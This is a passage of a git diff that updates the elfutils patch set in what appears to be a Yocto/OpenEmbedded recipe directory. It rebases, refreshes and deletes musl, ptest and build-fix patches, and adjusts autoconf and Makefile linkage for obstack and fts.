-+if test "$libc_has_obstack" = "false" ; then
-+ AC_MSG_WARN("libc does not have obstack")
-+ AC_CHECK_LIB([obstack], [_obstack_begin], [have_obstack="true"], [have_obstack="false"])
-+
-+ if test "$have_obstack" = "false"; then
-+ AC_MSG_ERROR("no libobstack found")
-+ else
-+ obstack_LDADD="-lobstack"
-+ fi
-+else
-+ obstack_LDADD=""
-+fi
-+AC_SUBST([obstack_LDADD])
-+
- dnl The directories with content.
-
- dnl Documentation.
-diff --git a/libdw/Makefile.am b/libdw/Makefile.am
-index 33b5838..ff92e02 100644
---- a/libdw/Makefile.am
-+++ b/libdw/Makefile.am
-@@ -109,7 +109,7 @@ libdw_so_LIBS = ../libebl/libebl_pic.a ../backends/libebl_backends_pic.a \
- ../libcpu/libcpu_pic.a libdw_pic.a ../libdwelf/libdwelf_pic.a \
- ../libdwfl/libdwfl_pic.a
- libdw_so_DEPS = ../lib/libeu.a ../libelf/libelf.so
--libdw_so_LDLIBS = $(libdw_so_DEPS) -ldl -lz $(argp_LDADD) $(zip_LIBS) -pthread
-+libdw_so_LDLIBS = $(libdw_so_DEPS) -ldl -lz $(argp_LDADD) $(fts_LDADD) $(zip_LIBS) -pthread
- libdw_so_SOURCES =
- libdw.so$(EXEEXT): $(srcdir)/libdw.map $(libdw_so_LIBS) $(libdw_so_DEPS)
- $(AM_V_CCLD)$(LINK) $(dso_LDFLAGS) -o $@ \
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 13d9bda..d5a4f7d 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -69,7 +69,7 @@ ar_no_Wstack_usage = yes
- unstrip_no_Wstack_usage = yes
-
- readelf_LDADD = $(libdw) $(libebl) $(libelf) $(libeu) $(argp_LDADD)
--nm_LDADD = $(libdw) $(libebl) $(libelf) $(libeu) $(argp_LDADD) \
-+nm_LDADD = $(libdw) $(libebl) $(libelf) $(libeu) $(argp_LDADD) $(obstack_LDADD) \
- $(demanglelib)
- size_LDADD = $(libelf) $(libeu) $(argp_LDADD)
- strip_LDADD = $(libebl) $(libelf) $(libdw) $(libeu) $(argp_LDADD)
-@@ -78,9 +78,9 @@ findtextrel_LDADD = $(libdw) $(libelf) $(libeu) $(argp_LDADD)
- addr2line_LDADD = $(libdw) $(libelf) $(libeu) $(argp_LDADD) $(demanglelib)
- elfcmp_LDADD = $(libebl) $(libdw) $(libelf) $(libeu) $(argp_LDADD)
- objdump_LDADD = $(libasm) $(libebl) $(libdw) $(libelf) $(libeu) $(argp_LDADD)
--ranlib_LDADD = libar.a $(libelf) $(libeu) $(argp_LDADD)
-+ranlib_LDADD = libar.a $(libelf) $(libeu) $(argp_LDADD) $(obstack_LDADD)
- strings_LDADD = $(libelf) $(libeu) $(argp_LDADD)
--ar_LDADD = libar.a $(libelf) $(libeu) $(argp_LDADD)
-+ar_LDADD = libar.a $(libelf) $(libeu) $(argp_LDADD) $(obstack_LDADD)
- unstrip_LDADD = $(libebl) $(libelf) $(libdw) $(libeu) $(argp_LDADD)
- stack_LDADD = $(libebl) $(libelf) $(libdw) $(libeu) $(argp_LDADD) $(demanglelib)
- elfcompress_LDADD = $(libebl) $(libelf) $(libdw) $(libeu) $(argp_LDADD)
diff --git a/meta/recipes-devtools/elfutils/files/0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch b/meta/recipes-devtools/elfutils/files/0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch
deleted file mode 100644
index 3303333c45..0000000000
--- a/meta/recipes-devtools/elfutils/files/0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 2e2232d0935bf8ef6e66ebffba3be68a73b5b3e5 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 8 Sep 2019 15:57:59 -0700
-Subject: [PATCH] ppc_initreg.c: Incliude asm/ptrace.h for pt_regs definition
-
-Fixes
-| ../../elfutils-0.176/backends/ppc_initreg.c:79:22: error: field 'r' has incomplete type
-| struct pt_regs r;
-| ^
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- backends/ppc_initreg.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/backends/ppc_initreg.c b/backends/ppc_initreg.c
-index 0e0d359..e5cca7e 100644
---- a/backends/ppc_initreg.c
-+++ b/backends/ppc_initreg.c
-@@ -33,6 +33,7 @@
- #include <stdlib.h>
- #if defined(__powerpc__) && defined(__linux__)
- # include <sys/ptrace.h>
-+# include <asm/ptrace.h>
- # include <sys/user.h>
- #endif
-
---
-2.23.0
-
diff --git a/meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch b/meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch
index de8c05f11e..0e6bf5573c 100644
--- a/meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch
@@ -1,14 +1,15 @@
-From e82a055f85e398cb03a4eaf5faf351a3a1f19344 Mon Sep 17 00:00:00 2001
+From 2fa52d61b1abdf4a3f3b153c771fb2081666430c Mon Sep 17 00:00:00 2001
From: Mingli Yu <Mingli.Yu@windriver.com>
Date: Tue, 21 May 2019 15:20:34 +0800
-Subject: [PATCH v2] skip the test when gcc not deployed
+Subject: [PATCH] skip the test when gcc not deployed
Skip the tests which depend on gcc when
gcc not deployed.
-Upstream-Status: Submitted[https://sourceware.org/ml/elfutils-devel/2019-q2/msg00091.html]
+Upstream-Status: Submitted [https://sourceware.org/ml/elfutils-devel/2019-q2/msg00091.html]
Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
+
---
tests/run-disasm-x86-64.sh | 2 ++
tests/run-disasm-x86.sh | 2 ++
@@ -17,7 +18,7 @@ Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
4 files changed, 8 insertions(+)
diff --git a/tests/run-disasm-x86-64.sh b/tests/run-disasm-x86-64.sh
-index a6be62b..c3ef238 100755
+index 07b612b..7a32996 100755
--- a/tests/run-disasm-x86-64.sh
+++ b/tests/run-disasm-x86-64.sh
@@ -22,6 +22,8 @@ case "`uname -m`" in
@@ -26,11 +27,11 @@ index a6be62b..c3ef238 100755
testfiles testfile45.S testfile45.expect
+ # skip the case if no gcc deployed
+ which gcc || exit 77
- gcc -m64 -c -o testfile45.o testfile45.S
+ ${CC} -m64 -c -o testfile45.o testfile45.S
testrun_compare ${abs_top_builddir}/src/objdump -d testfile45.o < testfile45.expect
;;
diff --git a/tests/run-disasm-x86.sh b/tests/run-disasm-x86.sh
-index 28a3df7..544fc28 100755
+index 7ac73ad..f0d4796 100755
--- a/tests/run-disasm-x86.sh
+++ b/tests/run-disasm-x86.sh
@@ -22,6 +22,8 @@ case "`uname -m`" in
@@ -39,11 +40,11 @@ index 28a3df7..544fc28 100755
testfiles testfile44.S testfile44.expect
+ # skip the case if no gcc deployed
+ which gcc || exit 77
- gcc -m32 -c -o testfile44.o testfile44.S
+ ${CC} -m32 -c -o testfile44.o testfile44.S
testrun_compare ${abs_top_builddir}/src/objdump -d testfile44.o < testfile44.expect
;;
diff --git a/tests/run-strip-g.sh b/tests/run-strip-g.sh
-index 1303819..a943dec 100755
+index 1592121..9b8157e 100755
--- a/tests/run-strip-g.sh
+++ b/tests/run-strip-g.sh
@@ -24,6 +24,8 @@
@@ -53,10 +54,10 @@ index 1303819..a943dec 100755
+# skip the test if gcc deployed
+which gcc || exit 77
echo Create debug a.out.
- echo "int main() { return 1; }" | gcc -g -xc -
+ echo "int main() { return 1; }" | ${CC} -g -xc -
diff --git a/tests/run-strip-nothing.sh b/tests/run-strip-nothing.sh
-index 914fdfb..d03f734 100755
+index 710c200..3a81d8e 100755
--- a/tests/run-strip-nothing.sh
+++ b/tests/run-strip-nothing.sh
@@ -22,6 +22,8 @@
@@ -66,8 +67,5 @@ index 914fdfb..d03f734 100755
+# skip the case if no gcc deployed
+which gcc || exit 77
# Create no-debug a.out.
- echo "int main() { return 1; }" | gcc -s -xc -
+ echo "int main() { return 1; }" | ${CC} -s -xc -
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch b/meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch
index d7b382fd94..c494d7f2e5 100644
--- a/meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch
@@ -1,4 +1,4 @@
-From fa265ff686cb60e19aa607bda3752b6b2ee87a14 Mon Sep 17 00:00:00 2001
+From 22e0e1c01ec680a2970f4d5ca9e47f90259cbdcf Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 23 Jun 2020 07:49:35 +0000
Subject: [PATCH] tests/Makefile.am: compile test_nlist with standard CFLAGS
@@ -14,10 +14,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 05fc9b4..11de0fc 100644
+index a2dfd43..40a0228 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -92,7 +92,7 @@ endif
+@@ -90,7 +90,7 @@ endif
test-nlist$(EXEEXT): test-nlist.c
$(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) \
$(AM_CPPFLAGS) $(CPPFLAGS) \
diff --git a/meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch b/meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch
index 96c2565e3e..be48ef010b 100644
--- a/meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch
+++ b/meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch
@@ -1,4 +1,4 @@
-From f8e4118b60a9b54950437006a82b4047f38f5347 Mon Sep 17 00:00:00 2001
+From 1643d793761216252bb654e28aaa5b8eb1536bca Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 15 Aug 2017 17:13:59 +0800
Subject: [PATCH] Fix elf_cvt_gunhash if dest and src are same.
diff --git a/meta/recipes-devtools/elfutils/files/0002-musl-libs.patch b/meta/recipes-devtools/elfutils/files/0002-musl-libs.patch
deleted file mode 100644
index 894e46c3c4..0000000000
--- a/meta/recipes-devtools/elfutils/files/0002-musl-libs.patch
+++ /dev/null
@@ -1,142 +0,0 @@
-From 2e1f8ca0b67c1d1991c14d509938c347e09bae94 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 23 Aug 2019 10:18:47 +0800
-Subject: [PATCH] musl-libs
-
-Collection of fixes needed to compile libelf and other libraries
-provided by elfutils for musl targets
-
-error is glibc specific API, so this patch will mostly not accepted
-upstream given that elfutils has been closely tied to glibc
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Inappropriate [workaround for musl]
-
-Rebase to 0.177
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- lib/error.h | 27 +++++++++++++++++++++++++++
- lib/fixedsizehash.h | 1 -
- lib/libeu.h | 1 +
- libdwfl/dwfl_error.c | 9 +++++++++
- libdwfl/linux-kernel-modules.c | 1 +
- libelf/elf.h | 9 ++++++---
- 6 files changed, 44 insertions(+), 4 deletions(-)
- create mode 100644 lib/error.h
-
-diff --git a/lib/error.h b/lib/error.h
-new file mode 100644
-index 0000000..ef06827
---- /dev/null
-+++ b/lib/error.h
-@@ -0,0 +1,27 @@
-+#ifndef _ERROR_H_
-+#define _ERROR_H_
-+
-+#include <stdarg.h>
-+#include <stdio.h>
-+#include <stdlib.h>
-+#include <string.h>
-+#include <errno.h>
-+
-+static unsigned int error_message_count = 0;
-+
-+static inline void error(int status, int errnum, const char* format, ...)
-+{
-+ va_list ap;
-+ fprintf(stderr, "%s: ", program_invocation_name);
-+ va_start(ap, format);
-+ vfprintf(stderr, format, ap);
-+ va_end(ap);
-+ if (errnum)
-+ fprintf(stderr, ": %s", strerror(errnum));
-+ fprintf(stderr, "\n");
-+ error_message_count++;
-+ if (status)
-+ exit(status);
-+}
-+
-+#endif /* _ERROR_H_ */
-diff --git a/lib/fixedsizehash.h b/lib/fixedsizehash.h
-index dac2a5f..43016fc 100644
---- a/lib/fixedsizehash.h
-+++ b/lib/fixedsizehash.h
-@@ -30,7 +30,6 @@
- #include <errno.h>
- #include <stdlib.h>
- #include <string.h>
--#include <sys/cdefs.h>
-
- #include <system.h>
-
-diff --git a/lib/libeu.h b/lib/libeu.h
-index ecb4d01..edc85e3 100644
---- a/lib/libeu.h
-+++ b/lib/libeu.h
-@@ -29,6 +29,7 @@
- #ifndef LIBEU_H
- #define LIBEU_H
-
-+#include "system.h"
- #include <stddef.h>
- #include <stdint.h>
-
-diff --git a/libdwfl/dwfl_error.c b/libdwfl/dwfl_error.c
-index 7bcf61c..11dcc8b 100644
---- a/libdwfl/dwfl_error.c
-+++ b/libdwfl/dwfl_error.c
-@@ -154,7 +154,16 @@ dwfl_errmsg (int error)
- switch (error &~ 0xffff)
- {
- case OTHER_ERROR (ERRNO):
-+#if defined(__GLIBC__)
- return strerror_r (error & 0xffff, "bad", 0);
-+#else
-+ {
-+ static __thread char buf[128] = "";
-+ if (strerror_r (error & 0xffff, buf, sizeof(buf)) == 0)
-+ return buf;
-+ }
-+ return "strerror_r() failed";
-+#endif
- case OTHER_ERROR (LIBELF):
- return elf_errmsg (error & 0xffff);
- case OTHER_ERROR (LIBDW):
-diff --git a/libdwfl/linux-kernel-modules.c b/libdwfl/linux-kernel-modules.c
-index 0434f1e..5afaee8 100644
---- a/libdwfl/linux-kernel-modules.c
-+++ b/libdwfl/linux-kernel-modules.c
-@@ -50,6 +50,7 @@
- #include <sys/utsname.h>
- #include <fcntl.h>
- #include <unistd.h>
-+#include "system.h"
-
- /* If fts.h is included before config.h, its indirect inclusions may not
- give us the right LFS aliases of these functions, so map them manually. */
-diff --git a/libelf/elf.h b/libelf/elf.h
-index 197b557..8e5b94c 100644
---- a/libelf/elf.h
-+++ b/libelf/elf.h
-@@ -21,7 +21,9 @@
-
- #include <features.h>
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /* Standard ELF types. */
-
-@@ -4103,6 +4105,7 @@ enum
- #define R_ARC_TLS_LE_S9 0x4a
- #define R_ARC_TLS_LE_32 0x4b
-
--__END_DECLS
--
-+#ifdef __cplusplus
-+}
-+#endif
- #endif /* elf.h */
diff --git a/meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch b/meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch
index e36d3f44dd..212b358dc2 100644
--- a/meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch
+++ b/meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch
@@ -1,4 +1,4 @@
-From dd7c8c730457def5f62ebd43022b2f06df8c6ed9 Mon Sep 17 00:00:00 2001
+From 7e1f91c42ef5b0bf10afefec10dd08588df3ab1f Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 15 Aug 2017 17:17:20 +0800
Subject: [PATCH] fixheadercheck
@@ -22,10 +22,10 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/libelf/elf32_updatenull.c b/libelf/elf32_updatenull.c
-index 3e9ef61..5351518 100644
+index d0d4d1e..4ecf5a5 100644
--- a/libelf/elf32_updatenull.c
+++ b/libelf/elf32_updatenull.c
-@@ -339,8 +339,8 @@ __elfw2(LIBELFBITS,updatenull_wrlock) (Elf *elf, int *change_bop, size_t shnum)
+@@ -354,8 +354,8 @@ __elfw2(LIBELFBITS,updatenull_wrlock) (Elf *elf, int *change_bop, size_t shnum)
we test for the alignment of the section being large
enough for the largest alignment required by a data
block. */
diff --git a/meta/recipes-devtools/elfutils/files/0003-musl-utils.patch b/meta/recipes-devtools/elfutils/files/0003-musl-utils.patch
index 2a21cd37ce..cbc9fce790 100644
--- a/meta/recipes-devtools/elfutils/files/0003-musl-utils.patch
+++ b/meta/recipes-devtools/elfutils/files/0003-musl-utils.patch
@@ -1,4 +1,4 @@
-From 9b237f19f82d5ab1e0702637fece1866b1ef6681 Mon Sep 17 00:00:00 2001
+From 8b48c580bae0b0ffc773b0b829c50d33a907853c Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Fri, 23 Aug 2019 10:19:48 +0800
Subject: [PATCH] musl-utils
@@ -15,12 +15,11 @@ Rebase to 0.177
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
---
- src/arlib.h | 6 ++++++
- src/elfcompress.c | 7 +++++++
- src/readelf.c | 20 ++++++++++++--------
- src/strip.c | 7 +++++++
- src/unstrip.c | 9 +++++++++
- 5 files changed, 41 insertions(+), 8 deletions(-)
+ src/arlib.h | 6 ++++++
+ src/elfcompress.c | 7 +++++++
+ src/strip.c | 7 +++++++
+ src/unstrip.c | 9 +++++++++
+ 4 files changed, 29 insertions(+)
diff --git a/src/arlib.h b/src/arlib.h
index e117166..8326f6c 100644
@@ -40,7 +39,7 @@ index e117166..8326f6c 100644
/* State of -D/-U flags. */
extern bool arlib_deterministic_output;
diff --git a/src/elfcompress.c b/src/elfcompress.c
-index 6ba6af4..0c7674b 100644
+index 2c6d91b..608646e 100644
--- a/src/elfcompress.c
+++ b/src/elfcompress.c
@@ -37,6 +37,13 @@
@@ -57,74 +56,8 @@ index 6ba6af4..0c7674b 100644
/* Name and version of program. */
ARGP_PROGRAM_VERSION_HOOK_DEF = print_version;
-diff --git a/src/readelf.c b/src/readelf.c
-index 685d0b1..a842b10 100644
---- a/src/readelf.c
-+++ b/src/readelf.c
-@@ -4829,10 +4829,11 @@ listptr_base (struct listptr *p)
- return cudie_base (&cu);
- }
-
-+static const char *listptr_name;
-+
- static int
--compare_listptr (const void *a, const void *b, void *arg)
-+compare_listptr (const void *a, const void *b)
- {
-- const char *name = arg;
- struct listptr *p1 = (void *) a;
- struct listptr *p2 = (void *) b;
-
-@@ -4848,21 +4849,21 @@ compare_listptr (const void *a, const void *b, void *arg)
- p1->warned = p2->warned = true;
- error (0, 0,
- gettext ("%s %#" PRIx64 " used with different address sizes"),
-- name, (uint64_t) p1->offset);
-+ listptr_name, (uint64_t) p1->offset);
- }
- if (p1->dwarf64 != p2->dwarf64)
- {
- p1->warned = p2->warned = true;
- error (0, 0,
- gettext ("%s %#" PRIx64 " used with different offset sizes"),
-- name, (uint64_t) p1->offset);
-+ listptr_name, (uint64_t) p1->offset);
- }
- if (listptr_base (p1) != listptr_base (p2))
- {
- p1->warned = p2->warned = true;
- error (0, 0,
- gettext ("%s %#" PRIx64 " used with different base addresses"),
-- name, (uint64_t) p1->offset);
-+ listptr_name, (uint64_t) p1->offset);
- }
- if (p1->attr != p2 ->attr)
- {
-@@ -4870,7 +4871,7 @@ compare_listptr (const void *a, const void *b, void *arg)
- error (0, 0,
- gettext ("%s %#" PRIx64
- " used with different attribute %s and %s"),
-- name, (uint64_t) p1->offset, dwarf_attr_name (p2->attr),
-+ listptr_name, (uint64_t) p1->offset, dwarf_attr_name (p2->attr),
- dwarf_attr_name (p2->attr));
- }
- }
-@@ -4942,8 +4943,11 @@ static void
- sort_listptr (struct listptr_table *table, const char *name)
- {
- if (table->n > 0)
-- qsort_r (table->table, table->n, sizeof table->table[0],
-- &compare_listptr, (void *) name);
-+ {
-+ listptr_name = name;
-+ qsort (table->table, table->n, sizeof table->table[0],
-+ &compare_listptr);
-+ }
- }
-
- static bool
diff --git a/src/strip.c b/src/strip.c
-index 48792a7..198a2e4 100644
+index d5b753d..d6e1b64 100644
--- a/src/strip.c
+++ b/src/strip.c
@@ -46,6 +46,13 @@
@@ -142,12 +75,12 @@ index 48792a7..198a2e4 100644
/* Name and version of program. */
diff --git a/src/unstrip.c b/src/unstrip.c
-index 9b8c09a..1fb5063 100644
+index aacc9aa..5e71290 100644
--- a/src/unstrip.c
+++ b/src/unstrip.c
-@@ -56,6 +56,15 @@
- # define _(str) gettext (str)
- #endif
+@@ -52,6 +52,15 @@
+ #include "libeu.h"
+ #include "printversion.h"
+#ifndef strndupa
+#define strndupa(s, n) \
diff --git a/meta/recipes-devtools/elfutils/files/0004-Disable-the-test-to-convert-euc-jp.patch b/meta/recipes-devtools/elfutils/files/0004-Disable-the-test-to-convert-euc-jp.patch
deleted file mode 100644
index 5dee61210a..0000000000
--- a/meta/recipes-devtools/elfutils/files/0004-Disable-the-test-to-convert-euc-jp.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From e4ede22e28eaa38d81667ddcb19541ece1a83cf8 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 15 Aug 2017 17:24:06 +0800
-Subject: [PATCH] Disable the test to convert euc-jp
-
-Remove the test "Test against HP-UX 11.11 bug:
-No converter from EUC-JP to UTF-8 is provided"
-since we don't support HP-UX and if the euc-jp is not
-installed on the host, the dependence will be built without
-iconv support and will cause guild-native building fail.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Roy Li <rongqing.li@windriver.com>
-
-Rebase to 0.170
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- m4/iconv.m4 | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/m4/iconv.m4 b/m4/iconv.m4
-index a503646..299f1eb 100644
---- a/m4/iconv.m4
-+++ b/m4/iconv.m4
-@@ -159,6 +159,7 @@ int main ()
- }
- }
- #endif
-+#if 0
- /* Test against HP-UX 11.11 bug: No converter from EUC-JP to UTF-8 is
- provided. */
- if (/* Try standardized names. */
-@@ -170,6 +171,7 @@ int main ()
- /* Try HP-UX names. */
- && iconv_open ("utf8", "eucJP") == (iconv_t)(-1))
- result |= 16;
-+#endif
- return result;
- }]])],
- [am_cv_func_iconv_works=yes],
diff --git a/meta/recipes-devtools/elfutils/files/0004-Fix-error-on-musl.patch b/meta/recipes-devtools/elfutils/files/0004-Fix-error-on-musl.patch
deleted file mode 100644
index c79c737c62..0000000000
--- a/meta/recipes-devtools/elfutils/files/0004-Fix-error-on-musl.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From d3dc5f98f653342af97ebfbdf3479ee1f0d0cf38 Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Wed, 1 May 2019 22:15:03 +0100
-Subject: [PATCH] Fix error on musl:
-
-| ../../elfutils-0.176/tests/elfstrmerge.c: In function 'main':
-| ../../elfutils-0.176/tests/elfstrmerge.c:370:60: error: 'ALLPERMS' undeclared (first use in this function); did you mean 'EPERM'?
-| fdnew = open (fnew, O_WRONLY | O_CREAT, st.st_mode & ALLPERMS);
-| ^~~~~~~~
-| EPERM
-| ../../elfutils-0.176/tests/elfstrmerge.c:370:60: note: each undeclared identifier is reported only once for each function it appears in
-
-Upstream-Status: Inappropriate [workaround in musl]
-
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
----
- tests/elfstrmerge.c | 5 +++++
- 1 file changed, 5 insertions(+)
-
-diff --git a/tests/elfstrmerge.c b/tests/elfstrmerge.c
-index ba0d68d..1d2447f 100644
---- a/tests/elfstrmerge.c
-+++ b/tests/elfstrmerge.c
-@@ -33,6 +33,11 @@
- #include ELFUTILS_HEADER(dwelf)
- #include "elf-knowledge.h"
-
-+/* for musl */
-+#ifndef ALLPERMS
-+# define ALLPERMS (S_ISUID|S_ISGID|S_ISVTX|S_IRWXU|S_IRWXG|S_IRWXO)/* 07777 */
-+#endif
-+
- /* The original ELF file. */
- static int fd = -1;
- static Elf *elf = NULL;
diff --git a/meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch b/meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch
index 6f7956c5ae..8942ad7828 100644
--- a/meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch
+++ b/meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch
@@ -1,4 +1,4 @@
-From 578f370c7e7a9f056aefa062b34590b0aa13bce5 Mon Sep 17 00:00:00 2001
+From 2396fd67d81e54e18fbad67a5ff67d5684a01013 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 15 Aug 2017 17:27:30 +0800
Subject: [PATCH] Fix build on aarch64/musl
diff --git a/meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch b/meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch
index 48fd4d41f3..9952070939 100644
--- a/meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch
+++ b/meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch
@@ -1,4 +1,4 @@
-From 9b7554a3e21ccb455b3661a6b4e767636c2c5cf3 Mon Sep 17 00:00:00 2001
+From 5e39da062929a60a07ddfc8b6d435ea65ea3e31f Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 22 Jun 2020 21:35:16 +0000
Subject: [PATCH] config/eu.am: do not use -Werror
@@ -16,22 +16,22 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 2 deletions(-)
diff --git a/config/eu.am b/config/eu.am
-index 6c3c444..3bc0dc9 100644
+index 58cd3c4..ac42390 100644
--- a/config/eu.am
+++ b/config/eu.am
-@@ -73,7 +73,6 @@ AM_CFLAGS = -std=gnu99 -Wall -Wshadow -Wformat=2 \
- -Wold-style-definition -Wstrict-prototypes -Wtrampolines \
+@@ -91,7 +91,6 @@ AM_CFLAGS = -std=gnu99 -Wall -Wshadow -Wformat=2 \
+ -Wold-style-definition -Wstrict-prototypes $(TRAMPOLINES_WARNING) \
$(LOGICAL_OP_WARNING) $(DUPLICATED_COND_WARNING) \
$(NULL_DEREFERENCE_WARNING) $(IMPLICIT_FALLTHROUGH_WARNING) \
- $(if $($(*F)_no_Werror),,-Werror) \
$(if $($(*F)_no_Wunused),,-Wunused -Wextra) \
$(if $($(*F)_no_Wstack_usage),,$(STACK_USAGE_WARNING)) \
- $(if $($(*F)_no_Wpacked_not_aligned),-Wno-packed-not-aligned,) \
-@@ -83,7 +82,6 @@ AM_CXXFLAGS = -std=c++11 -Wall -Wshadow \
- -Wtrampolines \
+ $(if $($(*F)_no_Wpacked_not_aligned),$(NO_PACKED_NOT_ALIGNED_WARNING),) \
+@@ -101,7 +100,6 @@ AM_CXXFLAGS = -std=c++11 -Wall -Wshadow \
+ $(TRAMPOLINES_WARNING) \
$(LOGICAL_OP_WARNING) $(DUPLICATED_COND_WARNING) \
$(NULL_DEREFERENCE_WARNING) $(IMPLICIT_FALLTHROUGH_WARNING) \
- $(if $($(*F)_no_Werror),,-Werror) \
$(if $($(*F)_no_Wunused),,-Wunused -Wextra) \
$(if $($(*F)_no_Wstack_usage),,$(STACK_USAGE_WARNING)) \
- $(if $($(*F)_no_Wpacked_not_aligned),-Wno-packed-not-aligned,) \
+ $(if $($(*F)_no_Wpacked_not_aligned),$(NO_PACKED_NOT_ALIGNED_WARNING),) \
diff --git a/meta/recipes-devtools/elfutils/files/ptest.patch b/meta/recipes-devtools/elfutils/files/ptest.patch
index 35b23f43b3..fe6f272a83 100644
--- a/meta/recipes-devtools/elfutils/files/ptest.patch
+++ b/meta/recipes-devtools/elfutils/files/ptest.patch
@@ -1,4 +1,7 @@
-Changes to allow ptest to run standalone on target:
+From bfbf393e7d5b1b41df85ce1c37e887776c45d529 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Wed, 1 May 2019 16:37:48 +0100
+Subject: [PATCH] Changes to allow ptest to run standalone on target:
a) Run the tests serially
b) Use the standalone test mode which allows the tests to be run in their
@@ -12,11 +15,17 @@ Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
Upstream-Status: Inappropriate [oe specific]
-Index: elfutils-0.176/configure.ac
-===================================================================
---- elfutils-0.176.orig/configure.ac
-+++ elfutils-0.176/configure.ac
-@@ -45,7 +45,7 @@ AC_COPYRIGHT([Copyright (C) 1996-2018 Th
+---
+ configure.ac | 2 +-
+ tests/Makefile.am | 2 ++
+ tests/test-subr.sh | 6 ------
+ 3 files changed, 3 insertions(+), 7 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index d345495..67933d1 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -48,7 +48,7 @@ AC_COPYRIGHT([Copyright (C) 1996-2021 The elfutils developers.])
AC_PREREQ(2.63) dnl Minimum Autoconf version required.
dnl We use GNU make extensions; automake 1.10 defaults to -Wportability.
@@ -25,42 +34,20 @@ Index: elfutils-0.176/configure.ac
AM_MAINTAINER_MODE
AM_SILENT_RULES([yes])
-Index: elfutils-0.176/tests/Makefile.am
-===================================================================
---- elfutils-0.176.orig/tests/Makefile.am
-+++ elfutils-0.176/tests/Makefile.am
-@@ -445,10 +445,10 @@ installed_TESTS_ENVIRONMENT = libdir=$(D
